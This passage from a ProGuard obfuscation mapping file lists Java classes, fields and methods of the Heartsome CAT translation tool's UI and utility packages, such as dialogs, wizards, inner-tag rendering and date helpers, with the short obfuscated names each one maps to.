getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileSelectionValidator -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileSelectionValidator: + boolean multiSelect -> aj + boolean acceptFolders -> ak + org.eclipse.core.runtime.IStatus validate(java.lang.Object[]) -> validate +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileViewerSorter -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileViewerSorter: + int category(java.lang.Object) -> category +net.heartsome.cat.common.ui.dialog.HsPreferenceDialog -> net.heartsome.cat.common.ui.dialog.HsPreferenceDialog: + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createTreeAreaContents(org.eclipse.swt.widgets.Composite) -> createTreeAreaContents + void setErrorMessage(java.lang.String) -> setErrorMessage + void setMessage(java.lang.String,int) -> setMessage + void updateMessage() -> updateMessage + void updateTitle() -> updateTitle +net.heartsome.cat.common.ui.dialog.SelectionStatusDialog -> net.heartsome.cat.common.ui.dialog.SelectionStatusDialog: + org.eclipse.ui.internal.MessageLine fStatusLine -> al + org.eclipse.core.runtime.IStatus fLastStatus -> am + org.eclipse.swt.graphics.Image fImage -> an + boolean fStatusLineAboveButtons -> ao + void setStatusLineAboveButtons(boolean) -> setStatusLineAboveButtons + void setImage(org.eclipse.swt.graphics.Image) -> setImage + java.lang.Object getFirstResult() -> getFirstResult + void setResult(int,java.lang.Object) -> setResult + void computeResult() -> computeResult + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void updateStatus(org.eclipse.core.runtime.IStatus) -> updateStatus + void updateButtonsEnableState(org.eclipse.core.runtime.IStatus) -> updateButtonsEnableState + void okPressed() -> okPressed + void create() -> create + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar +net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler -> net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Shell shell -> shell + boolean isEditor -> ap + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute +net.heartsome.cat.common.ui.handlers.OpenViewHandler -> net.heartsome.cat.common.ui.handlers.OpenViewHandler: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.common.ui.handlers.OpenViewHandler$1 -> net.heartsome.cat.common.ui.handlers.OpenViewHandler$1: + net.heartsome.cat.common.ui.handlers.OpenViewHandler this$0 -> aq + java.lang.String val$viewId -> ar + org.eclipse.ui.menus.UIElement val$element -> as + void run() -> run +net.heartsome.cat.common.ui.innertag.InnerTag -> net.heartsome.cat.common.ui.innertag.InnerTag: + int DEFAULT_STYLE_OPTIONS -> DEFAULT_STYLE_OPTIONS + net.heartsome.cat.common.innertag.InnerTagBean innerTagBean -> aA + boolean isSelected -> isSelected + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> aE + java.lang.String resetRegularString(java.lang.String) -> resetRegularString + boolean equals(java.lang.Object) -> equals + org.eclipse.swt.graphics.Point computeSize(int,int,boolean) -> computeSize + void init() -> init + boolean isSelected() -> isSelected + void setSelected(boolean) -> setSelected + void main(java.lang.String[]) -> main + void setInnerTagBean(net.heartsome.cat.common.innertag.InnerTagBean) -> setInnerTagBean + net.heartsome.cat.common.innertag.InnerTagBean getInnerTagBean() -> getInnerTagBean + net.heartsome.cat.common.ui.innertag.InnerTagRender access$0(net.heartsome.cat.common.ui.innertag.InnerTag) -> a + net.heartsome.cat.common.innertag.InnerTagBean access$1(net.heartsome.cat.common.ui.innertag.InnerTag) -> b +net.heartsome.cat.common.ui.innertag.InnerTag$1 -> net.heartsome.cat.common.ui.innertag.InnerTag$1: + net.heartsome.cat.common.ui.innertag.InnerTag this$0 -> aH + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.common.ui.innertag.InnerTag$2 -> net.heartsome.cat.common.ui.innertag.InnerTag$2: + net.heartsome.cat.common.ui.innertag.InnerTag this$0 -> aH + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown +net.heartsome.cat.common.ui.innertag.InnerTagRender -> net.heartsome.cat.common.ui.innertag.InnerTagRender: + org.eclipse.swt.graphics.Font TAG_FONT -> aF + int MARGIN_H -> aI + int MARGIN_V -> gO + net.heartsome.cat.common.ui.innertag.InnerTag tag -> cb + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType -> aG + void main(java.lang.String[]) -> main + org.eclipse.swt.graphics.Point calculateTagSize(net.heartsome.cat.common.innertag.InnerTagBean) -> calculateTagSize + void draw(org.eclipse.swt.graphics.GC,net.heartsome.cat.common.innertag.InnerTagBean,int,int) -> draw + int[] calculateTagArea(org.eclipse.swt.graphics.Point,net.heartsome.cat.common.innertag.InnerTagBean,int,int) -> a + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType() -> e +net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder -> net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder: + java.lang.String BLANK_CHARACTER -> aJ + java.util.regex.Pattern PATTERN -> PATTERN + net.heartsome.cat.common.innertag.TagStyle style -> aK + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex + java.lang.StringBuffer createStyledTagStartIndex(int) -> createStyledTagStartIndex + java.lang.StringBuffer createStyledTagEndIndex(int) -> createStyledTagEndIndex + void setStyle(net.heartsome.cat.common.innertag.TagStyle) -> setStyle +net.heartsome.cat.common.ui.listener.PartAdapter -> net.heartsome.cat.common.ui.listener.PartAdapter: + void partActivated(org.eclipse.ui.IWorkbenchPart) -> partActivated + void partBroughtToTop(org.eclipse.ui.IWorkbenchPart) -> partBroughtToTop + void partClosed(org.eclipse.ui.IWorkbenchPart) -> partClosed + void partDeactivated(org.eclipse.ui.IWorkbenchPart) -> partDeactivated + void partOpened(org.eclipse.ui.IWorkbenchPart) -> partOpened +net.heartsome.cat.common.ui.listener.PartAdapter2 -> net.heartsome.cat.common.ui.listener.PartAdapter2: + void partActivated(org.eclipse.ui.IWorkbenchPartReference) -> partActivated + void partBroughtToTop(org.eclipse.ui.IWorkbenchPartReference) -> partBroughtToTop + void partClosed(org.eclipse.ui.IWorkbenchPartReference) -> partClosed + void partDeactivated(org.eclipse.ui.IWorkbenchPartReference) -> partDeactivated + void partHidden(org.eclipse.ui.IWorkbenchPartReference) -> partHidden + void partInputChanged(org.eclipse.ui.IWorkbenchPartReference) -> partInputChanged + void partOpened(org.eclipse.ui.IWorkbenchPartReference) -> partOpened + void partVisible(org.eclipse.ui.IWorkbenchPartReference) -> partVisible +net.heartsome.cat.common.ui.resource.Messages -> net.heartsome.cat.common.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup -> net.heartsome.cat.common.ui.shield.a: + org.slf4j.Logger LOGGER -> LOGGER + void earlyStartup() -> earlyStartup + java.util.Set getUnusedCommandSet() -> f + java.util.Set readUnusedCommandFromFile(java.lang.String) -> a +net.heartsome.cat.common.ui.shield.ShieldActivator -> net.heartsome.cat.common.ui.shield.b: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.common.ui.shield.ShieldActivator plugin -> aL + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.ui.shield.ShieldActivator getDefault() -> g + java.io.File getFile(java.lang.String) -> getFile +net.heartsome.cat.common.ui.shield.ShieldStartup -> net.heartsome.cat.common.ui.shield.c: + java.lang.String platformDefaultScheme -> aM + java.lang.String platformEmacsScheme -> aN + void earlyStartup() -> earlyStartup +net.heartsome.cat.common.ui.shield.handlers.DisabledNewEditorHandler -> net.heartsome.cat.common.ui.shield.handlers.a: + void addHandlerListener(org.eclipse.core.commands.IHandlerListener) -> addHandlerListener + void dispose() -> dispose + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + boolean isEnabled() -> isEnabled + boolean isHandled() -> isHandled + void removeHandlerListener(org.eclipse.core.commands.IHandlerListener) -> removeHandlerListener +net.heartsome.cat.common.ui.shield.resource.Messages -> net.heartsome.cat.common.ui.shield.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.ui.shield.resources.ShieldIDECommandStartup -> net.heartsome.cat.common.ui.shield.resources.a: + java.lang.String CONF_FILE_PATH -> aO + java.util.Set getUnusedCommandSet() -> f +net.heartsome.cat.common.ui.shield.workbench.ShieldWorkbenchCommandStartup -> net.heartsome.cat.common.ui.shield.workbench.a: + java.lang.String CONF_FILE_PATH -> aO + java.util.Set getUnusedCommandSet() -> f +net.heartsome.cat.common.ui.utils.InnerTagUtil -> net.heartsome.cat.common.ui.utils.InnerTagUtil: + net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder placeHolderCreater -> aP + org.eclipse.swt.graphics.Font tagFont -> tagFont + char INVISIBLE_CHAR -> INVISIBLE_CHAR + org.eclipse.swt.graphics.Font getTagFont() -> dv + java.util.TreeMap parseXmlToDisplayValue(java.lang.StringBuffer,net.heartsome.cat.common.innertag.TagStyle) -> parseXmlToDisplayValue + java.util.Map parseXmlToDisplayValueFromSource(java.lang.String,java.lang.StringBuffer,net.heartsome.cat.common.innertag.TagStyle) -> parseXmlToDisplayValueFromSource + java.lang.String parseDisplayToXmlValue(java.util.Map,java.lang.String) -> parseDisplayToXmlValue + java.lang.String escapeTag(java.lang.String) -> escapeTag + java.lang.String resolveTag(java.lang.String) -> resolveTag + net.heartsome.cat.common.innertag.TagType getStyledTagType(java.lang.String) -> getStyledTagType + int getStyledTagNum(java.lang.String) -> getStyledTagNum + java.lang.String getDisplayValueWithoutTags(java.lang.String) -> getDisplayValueWithoutTags + org.eclipse.jface.text.Position getStyledTagRange(java.lang.String,int) -> getStyledTagRange + org.eclipse.jface.text.Position[] getStyledTagRanges(java.lang.String) -> getStyledTagRanges + java.lang.String[] getStyledTags(java.lang.String) -> getStyledTags +net.heartsome.cat.common.ui.utils.InnerTagUtil$1 -> net.heartsome.cat.common.ui.utils.InnerTagUtil$1: + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.common.ui.utils.InnerTagUtil$2 -> net.heartsome.cat.common.ui.utils.InnerTagUtil$2: + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.common.ui.utils.OpenEditorUtil -> net.heartsome.cat.common.ui.utils.OpenEditorUtil: + void OpenFileWithSystemEditor(java.lang.String) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.ui.IWorkbenchPage,java.lang.String) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(java.net.URI) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.ui.IWorkbenchPage,java.net.URI) -> OpenFileWithSystemEditor + void OpenFileWithSystemEditor(org.eclipse.core.resources.IFile) -> OpenFileWithSystemEditor + org.eclipse.ui.IWorkbenchPage getCurrentPage() -> h +net.heartsome.cat.common.ui.utils.OpenMessageUtils -> net.heartsome.cat.common.ui.utils.OpenMessageUtils: + void openMessage(int,java.lang.String) -> openMessage + boolean openConfirmMessage(java.lang.String) -> openConfirmMessage + void openMessageWithReason(int,java.lang.String,java.lang.String) -> openMessageWithReason + void openErrorMsgWithDetail(java.lang.String,java.lang.String,java.lang.Throwable) -> openErrorMsgWithDetail + java.lang.String getMessageDlgTitle(int) -> E + org.eclipse.core.runtime.IStatus getIStatus(int,java.lang.String) -> g + org.eclipse.core.runtime.MultiStatus throwable2MultiStatus(java.lang.String,java.lang.Throwable) -> throwable2MultiStatus +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog: + java.lang.String DLG_IMG_TITLE_ERROR -> DLG_IMG_TITLE_ERROR + java.lang.String DLG_IMG_TITLE_BANNER -> DLG_IMG_TITLE_BANNER + java.lang.String INFO_MESSAGE -> INFO_MESSAGE + java.lang.String WARNING_MESSAGE -> WARNING_MESSAGE + int H_GAP_IMAGE -> bb + int MIN_DIALOG_WIDTH -> bc + int MIN_DIALOG_HEIGHT -> bd + org.eclipse.swt.widgets.Label titleLabel -> aT + org.eclipse.swt.widgets.Label titleImageLabel -> be + org.eclipse.swt.widgets.Label bottomFillerLabel -> bf + org.eclipse.swt.widgets.Label leftFillerLabel -> bg + org.eclipse.swt.graphics.RGB titleAreaRGB -> bh + org.eclipse.swt.graphics.Color titleAreaColor -> bi + java.lang.String message -> message + java.lang.String errorMessage -> errorMessage + org.eclipse.swt.widgets.Label messageLabel -> messageLabel + org.eclipse.swt.widgets.Composite workArea -> bj + org.eclipse.swt.widgets.Label messageImageLabel -> bk + org.eclipse.swt.graphics.Image messageImage -> bl + boolean showingError -> bm + boolean titleImageLargest -> bn + int messageLabelHeight -> bo + org.eclipse.swt.graphics.Image titleAreaImage -> bp + int xTrim -> bq + int yTrim -> bs + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createTitleArea(org.eclipse.swt.widgets.Composite) -> b + void determineTitleImageLargest() -> i + void setLayoutsForNormalMessage(int,int) -> a + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + org.eclipse.swt.widgets.Composite getTitleArea() -> getTitleArea + org.eclipse.swt.widgets.Label getTitleImageLabel() -> getTitleImageLabel + void setErrorMessage(java.lang.String) -> setErrorMessage + void layoutForNewMessage(boolean) -> a + void setMessage(java.lang.String) -> setMessage + void setMessage(java.lang.String,int) -> setMessage + void showMessage(java.lang.String,org.eclipse.swt.graphics.Image) -> a + void updateMessage(java.lang.String) -> updateMessage + void setTitle(java.lang.String) -> setTitle + void setTitleAreaColor(org.eclipse.swt.graphics.RGB) -> setTitleAreaColor + void setTitleImage(org.eclipse.swt.graphics.Image) -> setTitleImage + void setImageLabelVisible(boolean) -> b + void resetWorkAreaAttachments(org.eclipse.swt.widgets.Control) -> a + java.lang.String getMessage() -> getMessage + java.lang.String getErrorMessage() -> getErrorMessage + void access$0(net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog,boolean) -> a + org.eclipse.swt.widgets.Label access$1(net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog) -> a +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$1 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$1: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> bt + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$2 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$2: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> bt + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$3 -> net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog$3: + net.heartsome.cat.common.ui.wizard.TSTitleAreaDialog this$0 -> bt + org.eclipse.swt.widgets.Composite createToolTipContentArea(org.eclipse.swt.widgets.Event,org.eclipse.swt.widgets.Composite) -> createToolTipContentArea + org.eclipse.swt.graphics.Point getLocation(org.eclipse.swt.graphics.Point,org.eclipse.swt.widgets.Event) -> getLocation +net.heartsome.cat.common.ui.wizard.TSWizardDialog -> net.heartsome.cat.common.ui.wizard.TSWizardDialog: + java.lang.String WIZ_IMG_ERROR -> WIZ_IMG_ERROR + org.eclipse.jface.wizard.IWizard wizard -> wizard + java.util.ArrayList createdWizards -> bu + java.util.ArrayList nestedWizards -> bv + org.eclipse.jface.wizard.IWizardPage currentPage -> bw + long activeRunningOperations -> bx + long timeWhenLastJobFinished -> by + boolean useCustomProgressMonitorPart -> bz + java.lang.String pageMessage -> bA + int pageMessageType -> bB + java.lang.String pageDescription -> bC + org.eclipse.jface.wizard.ProgressMonitorPart progressMonitorPart -> bD + org.eclipse.swt.graphics.Cursor waitCursor -> bE + org.eclipse.swt.graphics.Cursor arrowCursor -> arrowCursor + org.eclipse.jface.dialogs.MessageDialog windowClosingDialog -> bF + org.eclipse.swt.widgets.Button backButton -> bG + org.eclipse.swt.widgets.Button nextButton -> bH + org.eclipse.swt.widgets.Button finishButton -> bI + org.eclipse.swt.widgets.Button cancelButton -> bJ + org.eclipse.swt.widgets.Button helpButton -> bK + org.eclipse.swt.events.SelectionAdapter cancelListener -> bL + boolean isMovingToPreviousPage -> bM + org.eclipse.swt.widgets.Composite pageContainer -> bN + net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout pageContainerLayout -> bO + int pageWidth -> bP + int pageHeight -> bQ + java.lang.String FOCUS_CONTROL -> bR + int RESTORE_ENTER_DELAY -> bS + boolean lockedUI -> bT + org.eclipse.core.runtime.ListenerList pageChangedListeners -> bU + org.eclipse.core.runtime.ListenerList pageChangingListeners -> cx + java.lang.Object aboutToStart(boolean) -> c + void backPressed() -> backPressed + void buttonPressed(int) -> buttonPressed + org.eclipse.swt.graphics.Point calculatePageSizeDelta(org.eclipse.jface.wizard.IWizardPage) -> a + void cancelPressed() -> cancelPressed + boolean close() -> close + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void setButtonLayoutData(org.eclipse.swt.widgets.Button) -> setButtonLayoutData + org.eclipse.swt.widgets.Button createCancelButton(org.eclipse.swt.widgets.Composite) -> c + org.eclipse.swt.widgets.Button getButton(int) -> getButton + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.jface.wizard.ProgressMonitorPart createProgressMonitorPart(org.eclipse.swt.widgets.Composite,org.eclipse.swt.layout.GridLayout) -> createProgressMonitorPart + org.eclipse.swt.widgets.Composite createPageContainer(org.eclipse.swt.widgets.Composite) -> createPageContainer + void createPageControls() -> j + org.eclipse.swt.widgets.Composite createPreviousAndNextButtons(org.eclipse.swt.widgets.Composite) -> d + org.eclipse.jface.dialogs.MessageDialog createWizardClosingDialog() -> k + void finishPressed() -> finishPressed + org.eclipse.jface.wizard.IWizardPage getCurrentPage() -> getCurrentPage + org.eclipse.core.runtime.IProgressMonitor getProgressMonitor() -> getProgressMonitor + org.eclipse.jface.wizard.IWizard getWizard() -> getWizard + boolean hardClose() -> l + void helpPressed() -> helpPressed + void nextPressed() -> nextPressed + boolean doPageChanging(org.eclipse.jface.wizard.IWizardPage) -> b + boolean okToClose() -> okToClose + void restoreEnableState(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String) -> a + void restoreUIState(java.util.Map) -> a + void run(boolean,boolean,org.eclipse.jface.operation.IRunnableWithProgress) -> run + void saveEnableStateAndSet(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String,boolean) -> a + java.util.Map saveUIState(boolean) -> d + void setDisplayCursor(org.eclipse.swt.graphics.Cursor) -> a + void setMinimumPageSize(int,int) -> setMinimumPageSize + void setMinimumPageSize(org.eclipse.swt.graphics.Point) -> setMinimumPageSize + void setPageSize(int,int) -> setPageSize + void setPageSize(org.eclipse.swt.graphics.Point) -> setPageSize + void setWizard(org.eclipse.jface.wizard.IWizard) -> setWizard + void showPage(org.eclipse.jface.wizard.IWizardPage) -> showPage + void updateForPage(org.eclipse.jface.wizard.IWizardPage) -> c + void showStartingPage() -> m + void stopped(java.lang.Object) -> b + void update() -> update + void updateButtons() -> updateButtons + void updateDescriptionMessage() -> n + void updateMessage() -> updateMessage + void setShellSize(int,int) -> b + void updateSize(org.eclipse.jface.wizard.IWizardPage) -> updateSize + void updateSize() -> updateSize + void updateSizeForPage(org.eclipse.jface.wizard.IWizardPage) -> d + void updateSizeForWizard(org.eclipse.jface.wizard.IWizard) -> a + void updateTitleBar() -> updateTitleBar + void updateWindowTitle() -> updateWindowTitle + java.lang.Object getSelectedPage() -> getSelectedPage + void addPageChangedListener(org.eclipse.jface.dialogs.IPageChangedListener) -> addPageChangedListener + void removePageChangedListener(org.eclipse.jface.dialogs.IPageChangedListener) -> removePageChangedListener + void firePageChanged(org.eclipse.jface.dialogs.PageChangedEvent) -> firePageChanged + void addPageChangingListener(org.eclipse.jface.dialogs.IPageChangingListener) -> addPageChangingListener + void removePageChangingListener(org.eclipse.jface.dialogs.IPageChangingListener) -> removePageChangingListener + void firePageChanging(org.eclipse.jface.dialogs.PageChangingEvent) -> firePageChanging + long access$0(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> a + void access$1(net.heartsome.cat.common.ui.wizard.TSWizardDialog,long) -> a + org.eclipse.jface.wizard.IWizardPage access$2(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> b + boolean access$3(net.heartsome.cat.common.ui.wizard.TSWizardDialog) -> c + void access$4(net.heartsome.cat.common.ui.wizard.TSWizardDialog,org.eclipse.jface.wizard.IWizardPage) -> a +net.heartsome.cat.common.ui.wizard.TSWizardDialog$1 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$1: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.wizard.TSWizardDialog$10 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$10: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + org.eclipse.jface.dialogs.IPageChangingListener val$l -> cz + org.eclipse.jface.dialogs.PageChangingEvent val$event -> og + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$2 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$2: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + void keyTraversed(org.eclipse.swt.events.TraverseEvent) -> keyTraversed +net.heartsome.cat.common.ui.wizard.TSWizardDialog$3 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$3: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + void helpRequested(org.eclipse.swt.events.HelpEvent) -> helpRequested +net.heartsome.cat.common.ui.wizard.TSWizardDialog$4 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$4: + java.lang.String currentTask -> oh + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + void setBlocked(org.eclipse.core.runtime.IStatus) -> setBlocked + void clearBlocked() -> clearBlocked + void beginTask(java.lang.String,int) -> beginTask + void setTaskName(java.lang.String) -> setTaskName + void subTask(java.lang.String) -> subTask +net.heartsome.cat.common.ui.wizard.TSWizardDialog$5 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$5: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + java.lang.String val$backReaderText -> rq + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.cat.common.ui.wizard.TSWizardDialog$6 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$6: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + java.lang.String val$nextReaderText -> tl + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.cat.common.ui.wizard.TSWizardDialog$7 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$7: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + int getShellStyle() -> getShellStyle +net.heartsome.cat.common.ui.wizard.TSWizardDialog$8 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$8: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + org.eclipse.jface.wizard.IWizardPage val$finalPage -> tm + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$9 -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$9: + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + org.eclipse.jface.dialogs.IPageChangedListener val$l -> tn + org.eclipse.jface.dialogs.PageChangedEvent val$event -> tq + void run() -> run +net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout -> net.heartsome.cat.common.ui.wizard.TSWizardDialog$PageContainerFillLayout: + int marginWidth -> marginWidth + int marginHeight -> marginHeight + int minimumWidth -> minimumWidth + int minimumHeight -> minimumHeight + net.heartsome.cat.common.ui.wizard.TSWizardDialog this$0 -> cy + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.widgets.Composite,int,int,boolean) -> computeSize + org.eclipse.swt.graphics.Rectangle getClientArea(org.eclipse.swt.widgets.Composite) -> getClientArea + void layout(org.eclipse.swt.widgets.Composite,boolean) -> layout + void layoutPage(org.eclipse.swt.widgets.Control) -> layoutPage + void setPageLocation(org.eclipse.swt.widgets.Control) -> setPageLocation +net.heartsome.cat.common.util.CommonFunction -> net.heartsome.cat.common.util.CommonFunction: + java.util.List xlfExtensionList -> bV + java.lang.String[] xlfExtesionArray -> xlfExtesionArray + java.lang.String R8XliffExtension_1 -> R8XliffExtension_1 + java.lang.String R8XliffExtension -> R8XliffExtension + java.lang.String systemLanguage -> bW + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + boolean contains(java.lang.Object[],java.lang.Object) -> contains + boolean containsIgnoreCase(java.lang.String[],java.lang.String) -> containsIgnoreCase + java.lang.String[] getItemBySeparator(java.lang.String,char) -> getItemBySeparator + java.lang.String[] vector2StringArray(java.util.Vector) -> vector2StringArray + void stringArray2Vector(java.lang.String[],java.util.Vector) -> stringArray2Vector + java.util.List array2List(java.lang.Object[]) -> array2List + int indexOf(java.util.Vector,java.lang.String) -> indexOf + int indexOf(java.lang.String[],java.lang.String) -> indexOf + java.lang.String[] getWords(java.lang.String) -> getWords + java.lang.String retTMXDate() -> retTMXDate + java.lang.String retGMTdate(java.lang.String) -> retGMTdate + void getChildFiles(java.io.File,java.lang.String,java.util.List) -> getChildFiles + java.util.Vector getPathList(java.io.File) -> a + java.lang.String matchPathLists(java.util.Vector,java.util.Vector) -> a + java.lang.String getRelativePath(java.lang.String,java.lang.String) -> getRelativePath + java.lang.String getAbsolutePath(java.lang.String,java.lang.String) -> getAbsolutePath + boolean validXlfExtension(java.lang.String) -> validXlfExtension + boolean validXlfExtensionByFileName(java.lang.String) -> validXlfExtensionByFileName + java.lang.String getSystemLanguage() -> getSystemLanguage + void setSystemLanguage(java.lang.String) -> setSystemLanguage + void removeRepeateSelect(java.util.List) -> removeRepeateSelect + boolean checkEdition(java.lang.String) -> checkEdition + void refreshHistoryWhenDelete(org.eclipse.ui.IEditorInput) -> refreshHistoryWhenDelete + boolean isAsiaLang(java.lang.String) -> isAsiaLang + void unZipHunspellDics() -> unZipHunspellDics + java.lang.String upZipFile(java.lang.String,java.lang.String) -> upZipFile + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a + void closePointEditor(java.util.List) -> closePointEditor + java.lang.String validResourceName(java.lang.String) -> validResourceName + void jobCantCancelTip(org.eclipse.core.runtime.jobs.Job) -> jobCantCancelTip + java.lang.String createUUID() -> createUUID +net.heartsome.cat.common.util.CommonFunction$1 -> net.heartsome.cat.common.util.CommonFunction$1: + org.eclipse.core.runtime.jobs.Job val$job -> gV + boolean preShutdown(org.eclipse.ui.IWorkbench,boolean) -> preShutdown + void postShutdown(org.eclipse.ui.IWorkbench) -> postShutdown +net.heartsome.cat.common.util.DateUtils -> net.heartsome.cat.common.util.DateUtils: + java.util.Calendar calendar -> calendar + int getCurYear() -> getCurYear + int getCurYear(java.util.Calendar) -> getCurYear + int getCurMonth() -> getCurMonth + int getCurMonth(java.util.Calendar) -> getCurMonth + int getCurDay() -> getCurDay + int getCurDay(java.util.Calendar) -> getCurDay + java.util.Date getNowDate() -> getNowDate + java.util.Date getNowDateShort() -> getNowDateShort + java.lang.String getStringDate() -> getStringDate + java.lang.String getStringDateShort() -> getStringDateShort + java.lang.String getTimeShort() -> getTimeShort + java.util.Date strToDateLong(java.lang.String) -> strToDateLong + java.lang.String dateToStrLong(java.util.Date) -> dateToStrLong + java.lang.String dateToStr(java.util.Date) -> dateToStr + java.util.Date strToDate(java.lang.String) -> strToDate + java.util.Date getNow() -> getNow + java.util.Date getLastDate(long) -> getLastDate + java.lang.String getStringToday() -> getStringToday + java.lang.String getHour() -> getHour + java.lang.String getTime() -> getTime + java.lang.String getUserDate(java.lang.String) -> getUserDate + java.lang.String getTwoHour(java.lang.String,java.lang.String) -> getTwoHour + java.lang.String getTwoDay(java.lang.String,java.lang.String) -> getTwoDay + java.lang.String getPreTime(java.lang.String,java.lang.String) -> getPreTime + java.lang.String getNextDay(java.lang.String,java.lang.String) -> getNextDay + boolean isLeapYear(java.lang.String) -> isLeapYear + java.lang.String getEDate(java.lang.String) -> getEDate + java.lang.String getEndDateOfMonth(java.lang.String) -> getEndDateOfMonth + boolean 